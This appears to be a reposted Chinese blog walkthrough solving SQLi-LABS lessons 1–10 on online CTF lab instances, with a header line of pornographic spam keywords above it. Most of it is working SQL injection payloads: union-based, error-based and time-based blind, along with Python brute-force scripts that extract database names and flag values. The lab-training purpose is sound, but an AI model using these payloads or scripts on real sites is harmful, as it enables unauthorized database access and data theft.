日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQLi-LABS(1~10关详解)

發布時間:2024/9/30 数据库 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQLi-LABS(1~10关详解) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

SQLi-LABS Less-1

查看題目環境

首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄

測試注入點

構造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'or '1'='1

頁面正常回顯

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'and '1'='2

頁面無數據顯示

由此可以判斷出:此處具有Sql注入漏洞

SQL注入

因為前面測得具有回顯,所以采取union聯合查詢
流程為

查找列數

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1' order by 3 --+

–+用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)

查詢數據庫

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'

這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示

查詢數據庫中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )'

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')'

查數據

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)'

SQLi-LABS Less-2

查看題目環境

首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄

測試注入點

構造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1'

可以發現報錯信息如下,我們可以知道是MariaDB數據庫

發現我們用單引號閉合是多余的
payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 or '1'='1'

正常顯示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 and '1'='2'

頁面無數據顯示

由此可以判斷出:此處具有Sql注入漏洞

SQL注入

因為前面測得具有回顯,所以采取union聯合查詢
流程為

查找列數

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 order by 3 --+

–+用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)

查詢數據庫

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)

這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示

查詢數據庫中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')

查數據

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)

SQLi-LABS Less-3

查看題目環境

首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄

測試注入點

構造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1’
可以發現報錯信息如下,我們可以知道是MariaDB數據庫

發現我們應該用’)閉合
payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') or '1'='1' --+

正常顯示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') and '1'='2' --+

頁面無數據顯示

由此可以判斷出:此處具有Sql注入漏洞

SQL注入

因為前面測得具有回顯,所以采取union聯合查詢
流程為

查找列數

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') order by 3 --+

–+用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)

查詢數據庫

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+

這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示

查詢數據庫中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+

查數據

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+

SQLi-LABS Less-4

查看題目環境

首先可以看到這題傳入id=1后,會有回顯,顯示出該條記錄

測試注入點

構造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1'

發現用單引號閉合沒有報錯

嘗試使用雙引號,可以發現報錯信息如下,我們可以知道是MariaDB數據庫

發現我們應該用")閉合
payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") or '1'='1' --+

正常顯示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") and '1'='2' --+

頁面無數據顯示

由此可以判斷出:此處具有Sql注入漏洞

SQL注入

因為前面測得具有回顯,所以采取union聯合查詢
流程為

查找列數

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") order by 3 --+

–+用于注釋掉sql語句后面的內容,最終查出返回的列數為3列(列數一個一個試,最大的一個數,且不報Unknown column ‘*’ in ‘order clause’)

查詢數據庫

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+

這邊id傳入一個數據庫中沒有的值即可,因為如果是數據庫中存在的值,即會返回多條記錄,會顯示前一個找到的值,而我們想要的將無法顯示。
同時我們使用GROUP_CONCAT將查詢到的數據庫名拼接顯示

查詢數據庫中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+

查數據

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+

SQLi-LABS Less-5

查看題目環境

首先可以看到這題傳入id=1后,如果存在id,則會返回You are in…否則就沒有任何顯示

測試注入點

構造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1'

有報錯信息如下
由于沒有頁面沒有數據顯示,所以無法使用Union聯合查詢,嘗試報錯注入

SQL注入

因為前面測得沒有回顯數據,所以采取報錯注入
報錯注入:
(1). 通過floor報錯

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload為你要插入的SQL語句
需要注意的是該語句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯

and updatexml(1,payload,1)

同樣該語句對輸出的字符長度也做了限制,其最長輸出32位
并且該語句對payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯

and extractvalue(1, payload)

我比較喜歡用的是floor報錯注入,因為能返回的字符串長度最長
流程為

查詢數據庫

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 一個一個數據庫查

查詢數據庫中的表

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查表中的字段

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查數據

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

SQLi-LABS Less-6

查看題目環境

首先可以看到這題傳入id=1后,如果存在id,則會返回You are in…否則就沒有任何顯示

測試注入點

構造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1'

正常顯示

構造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1"


有報錯信息如下
由于沒有頁面沒有數據顯示,所以無法使用Union聯合查詢,嘗試報錯注入

SQL注入

因為前面測得沒有回顯數據,所以采取報錯注入
報錯注入:
(1). 通過floor報錯

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload為你要插入的SQL語句
需要注意的是該語句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯

and updatexml(1,payload,1)

同樣該語句對輸出的字符長度也做了限制,其最長輸出32位
并且該語句對payload的反悔類型也做了限制,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯

and extractvalue(1, payload)

我比較喜歡用的是floor報錯注入,因為能返回的字符串長度最長
流程為

查詢數據庫

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

通過報錯注入,因為所有數據庫拼接的長度大于了64個字符,所以使用limit 一個一個數據庫查

查詢數據庫中的表

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查表中的字段

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查數據

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

SQLi-LABS Less-7

查看題目環境

首先可以看到這題傳入id=1后,如果存在id,則會返回You are in…Use outfile…

輸入不存在的id,或者嘗試sql注入都不會顯示具體報錯信息

所以聯合查詢和報錯注入都失效了

測試注入點

構造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1'))

正常顯示

SQL注入

首先,由題目環境觀察可知,聯合查詢和報錯注入都用不了,但是這邊又可以執行我們輸入的東西,所以我是用的時間盲注。

查詢列數

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) order by 3 --+

時間盲注腳本

使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤

import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找數據庫#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['table']+")--+" #查表名#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['column']+")--+" #查字段名url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['flag']+")--+" #查數據t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag) break

SQLi-LABS Less-8

查看題目環境

首先可以看到這題傳入id=1后,如果存在id,則會返回You are in…否則就沒有任何顯示

測試注入點

構造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1'

沒有回顯
構造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1'--+

成功閉合

SQL注入

我這邊使用SQL盲注得到flag
主要是讓他執行查詢,然后將查到的值與我們的table比較,若相等則調用SLEEP函數,通過判斷響應時間,爆破出數據庫內容

查詢列數

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1' order by 3 --+

時間盲注腳本

使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤

import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['datebase']+")--+" 查找數據庫#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['table']+")--+" 查表名#url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['column']+")--+" 查字段名url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['flag']+")--+" #查數據t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag) break

SQLi-LABS Less-9

查看題目環境

首先可以看到這題id無論傳入什么,都會顯示這個頁面

測試注入點

因為沒有任何有意義的回顯,所以一般就是時間盲注了,但是由于不知道他的sql語句是怎么樣的,所以寫個腳本測試下如何去閉合前面內容

import requests import time ss = time.time() url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1'%20and%20sleep(5)--+" t=requests.get(url) if time.time()-ss>=4:print("is Time")

SQL注入

時間盲注腳本

使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤

import requests import time flag = '' #table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" n=1 while True:for i in range(128):ss = time.time()data = {'datebase':"SELECT schema_name FROM information_schema.schemata limit 0,1",'table':'SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1','column':'SELECT column_name FROM information_schema.columns WHERE table_name = "flag"','flag':'SELECT flag FROM ctftraining.flag limit 0,1'}#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['datebase']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查找數據庫#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['table']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查表名#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['column']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查字段名url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['flag']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查數據t=requests.get(url)if time.time()-ss>=4:n=n+1flag += chr(i)print (flag)break

SQLi-LABS Less-10

查看題目環境

首先可以看到這題id無論傳入什么,都會顯示這個頁面

測試注入點

因為沒有任何有意義的回顯,所以一般就是時間盲注了,但是由于不知道他的sql語句是怎么樣的,所以寫個腳本測試下如何去閉合前面內容

import requests import time ss = time.time() url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22%20and%20sleep(5)--+" t=requests.get(url) if time.time()-ss>=4:print("is Time")

發現用雙引號成功閉合

SQL注入

時間盲注腳本

使用腳本的sleep函數時間自行控制,因為不同服務器的響應時間不同,sleep時間越久,越準確。因為若sleep時間短了,有可能因為本身服務器響應較慢導致爆破出來的值錯誤

import requests import time flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" while True:for i in table:ss = time.time()data = {'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),}#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['datebase']+" --+" #查找數據庫#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['table']+"--+" #查表名#url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['column']+"--+" #查字段名url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['flag']+"--+" #查數據t=requests.get(url)if time.time()-ss>=4:flag += iprint (flag)break

總結

以上是生活随笔為你收集整理的SQLi-LABS(1~10关详解)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。